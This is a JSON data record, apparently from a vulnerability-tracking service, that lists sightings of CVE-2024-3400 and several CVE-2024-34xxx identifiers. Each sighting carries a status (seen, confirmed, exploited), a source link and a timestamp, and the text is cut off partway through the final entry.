{"vulnerability": "2024-34", "sightings": [{"uuid": "edb164e2-6358-4cb1-8356-b0d84df2e91c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "confirmed", "source": "", "content": "", "creation_timestamp": "2024-10-22T15:51:25.544381Z"}, {"uuid": "24c44f51-5f55-4117-a62d-b268f9d2f46f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "", "content": "", "creation_timestamp": "2024-10-22T15:51:31.492574Z"}, {"uuid": "7c05ace8-d995-471d-8fca-e2b2051e222f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "", "content": "", "creation_timestamp": "2024-10-22T15:51:36.761844Z"}, {"uuid": "5ca48dc7-6d7f-4024-9d9c-46b3b9a180d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "", "content": "", "creation_timestamp": "2024-10-23T08:24:34.403475Z"}, {"uuid": "69c55c2f-88c1-4ecd-9229-1bf8a2daac9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34673", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113433665117012341", "content": "", "creation_timestamp": "2024-11-06T02:32:49.009225Z"}, {"uuid": "f496cec3-3306-4cb4-ad91-db1d4d38dd16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34674", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113433665132664858", "content": "", "creation_timestamp": "2024-11-06T02:32:49.332661Z"}, {"uuid": "a6bc4b52-e75b-4f74-aaf2-b6775586687d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34675", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113433665147209911", "content": "", "creation_timestamp": "2024-11-06T02:32:49.825596Z"}, {"uuid": "aa70a05e-5621-4645-b5ce-983f2018d9c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34676", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113433665161191617", "content": "", "creation_timestamp": "2024-11-06T02:32:49.887139Z"}, {"uuid": "6c18962a-a8c8-4f65-b701-6f66e945789d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34677", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113433724159209434", "content": "", "creation_timestamp": "2024-11-06T02:47:50.151077Z"}, {"uuid": "ce678192-520b-437a-80bd-0760e93f2ad7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34678", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113433724173410760", "content": "", "creation_timestamp": "2024-11-06T02:47:50.216650Z"}, {"uuid": "8ddaecdf-1400-447f-a996-509dacecc407", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34679", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113433724187370969", "content": "", "creation_timestamp": "2024-11-06T02:47:50.474901Z"}, {"uuid": "6fc0259c-20ad-4981-8099-373de26879d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34680", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113433724201771931", "content": "", "creation_timestamp": "2024-11-06T02:47:50.735242Z"}, {"uuid": "d27f3dbb-c278-4d53-8ce3-7644f2d7addb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34681", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113433783203626627", "content": "", "creation_timestamp": "2024-11-06T03:02:50.966939Z"}, {"uuid": "4d33e3b8-a5a5-43f4-b3f7-c8d17711d48f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34682", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113433783217730295", "content": "", "creation_timestamp": "2024-11-06T03:02:51.090828Z"}, {"uuid": "a4181091-0115-44e9-93fa-73392c66deb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34781", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113473436500635075", "content": "", "creation_timestamp": "2024-11-13T03:07:12.240243Z"}, {"uuid": "9dbb5ad3-8481-42d8-8ab0-4f3c8c2cdd54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34784", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113473495515800861", "content": "", "creation_timestamp": "2024-11-13T03:22:14.115473Z"}, {"uuid": "a8eff8db-f6e7-4f90-a2cf-c294692c98e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34780", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113473436487046120", "content": "", "creation_timestamp": "2024-11-13T03:07:12.072529Z"}, {"uuid": "f626f730-8603-4b62-ba41-725770cac6b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34014", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113464562747193955", "content": "", "creation_timestamp": "2024-11-11T13:30:29.703518Z"}, {"uuid": "c824194d-e9c0-4807-90f4-ce4066540a18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34787", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113473495529817510", "content": "", "creation_timestamp": "2024-11-13T03:22:14.351119Z"}, {"uuid": "59e3cef4-8411-4614-91a4-cc880ed0579b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34782", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113473436515711539", "content": "", "creation_timestamp": "2024-11-13T03:07:12.458464Z"}, {"uuid": "5b86db74-79ef-4184-ad6e-bde6717e6189", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34015", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113464562760807188", "content": "", "creation_timestamp": "2024-11-11T13:30:29.801381Z"}, {"uuid": "4d37a97c-cac8-4ccb-8114-e27ef083efbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "MISP/dcf911ee-17b3-4902-aa15-4ecabf2e40ce", "content": "", "creation_timestamp": "2024-09-12T10:33:13.000000Z"}, {"uuid": "6eece42c-b7bb-4e96-9c79-e062f001f908", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2024-04-12T15:10:02.000000Z"}, {"uuid": "d595cdd3-aec8-4fc6-976d-6fd2ce56c7ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "MISP/9802116c-3ec3-4a8e-8b39-5c69b08df5ab", "content": "", "creation_timestamp": "2024-04-13T15:34:31.000000Z"}, {"uuid": "578a015d-56fc-4d6a-9407-6152ce8f3317", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "MISP/d7d63b76-30b2-426d-b539-96195ff33907", "content": "", "creation_timestamp": "2024-04-18T10:55:46.000000Z"}, {"uuid": "3686b378-3975-4ba9-8584-660963bb36d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "MISP/42ec6a69-f0c4-430d-b5ee-d199b2efc32a", "content": "", "creation_timestamp": "2024-04-22T13:10:15.000000Z"}, {"uuid": "6756b5c6-dc9a-4973-adc7-b1493546a349", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2024-07-17T18:10:03.000000Z"}, {"uuid": "135a10d2-d8ba-4c5d-953d-1e7bf04d0878", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34719", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113476856081324592", "content": "", "creation_timestamp": "2024-11-13T17:36:50.882885Z"}, {"uuid": "f3591f8d-119c-4f64-8293-cdd629ad16ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34729", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113476856095833508", "content": "", "creation_timestamp": "2024-11-13T17:36:51.310393Z"}, {"uuid": "f4b8e1c5-333c-41e0-852e-a4c7d51e001f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34747", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113476856111660874", "content": "", "creation_timestamp": "2024-11-13T17:36:51.508225Z"}, {"uuid": "c9d9148c-102f-4e0f-9792-53fdfa832ada", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34022", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113478237087324193", "content": "", "creation_timestamp": "2024-11-13T23:28:03.429650Z"}, {"uuid": "7edc72ef-167a-40bd-8863-de141c9fa7c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34023", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113478237101514199", "content": "", "creation_timestamp": "2024-11-13T23:28:03.684587Z"}, {"uuid": "c4767bad-149d-4304-8466-b36fa9f01a88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34028", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113478237115474030", "content": "", "creation_timestamp": "2024-11-13T23:28:03.926358Z"}, {"uuid": "a917116c-e062-4237-a412-1967cd679a0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34164", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113478237129396502", "content": "", "creation_timestamp": "2024-11-13T23:28:04.139172Z"}, {"uuid": "c1598a87-e4ab-4f48-b357-cf684950f38e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34165", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113478296125840617", "content": "", "creation_timestamp": "2024-11-13T23:43:04.218027Z"}, {"uuid": "1e99a832-8328-4b7b-a736-c63b3035ab7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34170", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113478296153846315", "content": "", "creation_timestamp": "2024-11-13T23:43:04.671525Z"}, {"uuid": "568f5e78-6dff-46cb-814b-9017b9d94b10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34776", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113478296167478165", "content": "", "creation_timestamp": "2024-11-13T23:43:05.054088Z"}, {"uuid": "f0e76c1b-80b0-4533-b8cc-a958604ca57a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34787", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1501/", "content": "", "creation_timestamp": "2024-11-13T06:00:00.000000Z"}, {"uuid": "d4f91d6a-eadc-447f-a280-4bc948b91f77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34781", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1497/", "content": "", "creation_timestamp": "2024-11-13T06:00:00.000000Z"}, {"uuid": "70e54bb6-2994-424f-bfb0-d1d1a6c3faca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34167", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113478296139698010", "content": "", "creation_timestamp": "2024-11-13T23:43:04.586146Z"}, {"uuid": "b7b67d8e-4123-4dfc-81c8-c33df30b2f57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34784", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1500/", "content": "", "creation_timestamp": "2024-11-13T06:00:00.000000Z"}, {"uuid": "44d96d7a-bf3c-4cee-a203-44fb89c1dff2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34782", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1499/", "content": "", "creation_timestamp": "2024-11-13T06:00:00.000000Z"}, {"uuid": "fb774f0c-957d-45b3-81bf-d723b98e0505", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34781", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1498/", "content": "", "creation_timestamp": "2024-11-13T06:00:00.000000Z"}, {"uuid": "a6620cb5-eb71-43f8-b729-c6fbb053ee82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3447", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113481251807926173", "content": "", "creation_timestamp": "2024-11-14T12:14:44.536578Z"}, {"uuid": "90f73dcd-8e0b-4b91-9207-dfff107a7123", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34162", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113548240059412450", "content": "", "creation_timestamp": "2024-11-26T08:10:44.839531Z"}, {"uuid": "fabe5893-e676-4178-ac7a-da76969a99aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://infosec.exchange/users/malmoeb/statuses/113634000996822728", "content": "", "creation_timestamp": "2024-12-11T11:40:52.912218Z"}, {"uuid": "1b2497f9-35c6-41b8-bb42-1869b17104d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "MISP/591f3235-7ebf-44cf-a316-d90d36580532", "content": "", "creation_timestamp": "2024-12-19T13:09:26.000000Z"}, {"uuid": "82d7a8b2-a8d8-47df-826b-25a93d6f0baa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34990", "type": "seen", "source": "https://bsky.app/profile/it-connect.bsky.social/post/3ldqe63wugw26", "content": "", "creation_timestamp": "2024-12-20T12:10:26.616074Z"}, {"uuid": "d2351e2b-27ca-4683-83c1-83ac6f1f41ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34579", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-016-05", "content": "", "creation_timestamp": "2025-01-16T11:00:00.000000Z"}, {"uuid": "bc89c683-58fc-46bb-ac53-e4f1d71c9536", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34112", "type": "seen", "source": "https://bsky.app/profile/hoyahaxa.bsky.social/post/3lfo4tmcxpc2t", "content": "", "creation_timestamp": "2025-01-14T01:44:23.551596Z"}, {"uuid": "7503a2f8-e99c-4414-ac0e-aa934b144e2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34544", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfpk6vsopn2r", "content": "", "creation_timestamp": "2025-01-14T15:15:58.818622Z"}, {"uuid": "7412c9df-1ebd-4394-b0f8-444b1747e359", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34579", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfvmo4cfpd2t", "content": "", "creation_timestamp": "2025-01-17T01:16:15.280371Z"}, {"uuid": "e7bde5d8-9f58-488a-95fb-ecb88f52158a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34579", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfvnw2ncsv2k", "content": "", "creation_timestamp": "2025-01-17T01:38:35.590501Z"}, {"uuid": "0dc2ecc7-82e6-4f05-be89-7b5a47567cbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113867018300718744", "content": "", "creation_timestamp": "2025-01-21T15:20:14.072020Z"}, {"uuid": "57e2457e-c389-4167-891e-a4e95ee9eeb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34732", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113907583438463077", "content": "", "creation_timestamp": "2025-01-28T19:16:28.811876Z"}, {"uuid": "cb7c6c87-9f1e-46c3-900a-41dba47661e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34733", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113907583454099650", "content": "", "creation_timestamp": "2025-01-28T19:16:29.067381Z"}, {"uuid": "f099176d-1d66-4165-b674-d21c03a75254", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34730", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgbycz2efl2j", "content": "", "creation_timestamp": "2025-01-21T23:16:43.866700Z"}, {"uuid": "2ccb2b11-c7c7-4440-9e9c-abaea7e386e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34748", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113907583468069070", "content": "", "creation_timestamp": "2025-01-28T19:16:29.251311Z"}, {"uuid": "2ab160fc-3860-49de-a879-000fea7456ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34732", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgtbhvw6w62w", "content": "", "creation_timestamp": "2025-01-28T20:15:48.028603Z"}, {"uuid": "dac11b6c-c809-474e-a08f-fba03f9be85e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34733", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgtbhyomdc2t", "content": "", "creation_timestamp": "2025-01-28T20:15:50.542160Z"}, {"uuid": "1e07d58b-a3ff-491a-9086-8308526dd54f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34748", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgtbi3n2q32p", "content": "", "creation_timestamp": "2025-01-28T20:15:54.063135Z"}, {"uuid": "8d64008a-da5b-4091-b8ab-a5184fa91e67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34257", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-27)", "content": "", "creation_timestamp": "2024-12-27T00:00:00.000000Z"}, {"uuid": "28c10575-c1c9-433c-bb85-ac35442f86e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34055", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113956707363822061", "content": "", "creation_timestamp": "2025-02-06T11:29:20.528001Z"}, {"uuid": "35df1efd-4765-48d1-98cb-57af286e71d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/redvello.bsky.social/post/3lgpejmauvc2w", "content": "", "creation_timestamp": "2025-01-27T06:59:50.220182Z"}, {"uuid": "54061624-8187-40ed-aa78-d1eddb871295", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34896", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113941835887559643", "content": "", "creation_timestamp": "2025-02-03T20:27:19.690925Z"}, {"uuid": "2ea13ace-dd0c-4dd9-867d-f959195f6f0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34897", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113941835902112417", "content": "", "creation_timestamp": "2025-02-03T20:27:20.017402Z"}, {"uuid": "aaeda0c4-0396-4b19-9a9e-43e9370b8985", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34055", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhj2uxgonn2t", "content": "", "creation_timestamp": "2025-02-06T12:16:23.877658Z"}, {"uuid": "5205a78c-176a-4f0c-a7cd-25104b7ad2eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34896", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhchmbimar2b", "content": "", "creation_timestamp": "2025-02-03T21:15:32.520504Z"}, {"uuid": "1fddb9ff-1414-4b76-b586-ee357ff97cd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34897", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhchmdwfaz2e", "content": "", "creation_timestamp": "2025-02-03T21:15:35.346273Z"}, {"uuid": "2b3d997a-039b-4af1-8afe-0269cfc09f77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34732", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113908418711853397", "content": "", "creation_timestamp": "2025-01-28T22:48:55.779338Z"}, {"uuid": "5c289bdc-30cd-4cba-854c-5645e01b620b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34733", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113908418805901133", "content": "", "creation_timestamp": "2025-01-28T22:48:56.511611Z"}, {"uuid": "cf42ddb4-f900-4b27-8c08-61cde6c8de6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34748", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113908418873894802", "content": "", "creation_timestamp": "2025-01-28T22:48:57.698611Z"}, {"uuid": "d05455fc-8465-4ce8-b4db-9df3bdd43af0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34897", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhckkrp56b2g", "content": "", "creation_timestamp": "2025-02-03T22:08:26.231620Z"}, {"uuid": "0103ffa1-9fca-45ae-8a9d-8f79f5a3c560", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34896", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhckkt3opd2h", "content": "", "creation_timestamp": "2025-02-03T22:08:33.791247Z"}, {"uuid": "6931eafc-103b-450c-b845-0fb7a1a5c9b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34055", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhjbpmwfrg2g", "content": "", "creation_timestamp": "2025-02-06T14:18:41.321604Z"}, {"uuid": "c7040ee5-e862-451d-9154-21a72de304c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:46.000000Z"}, {"uuid": 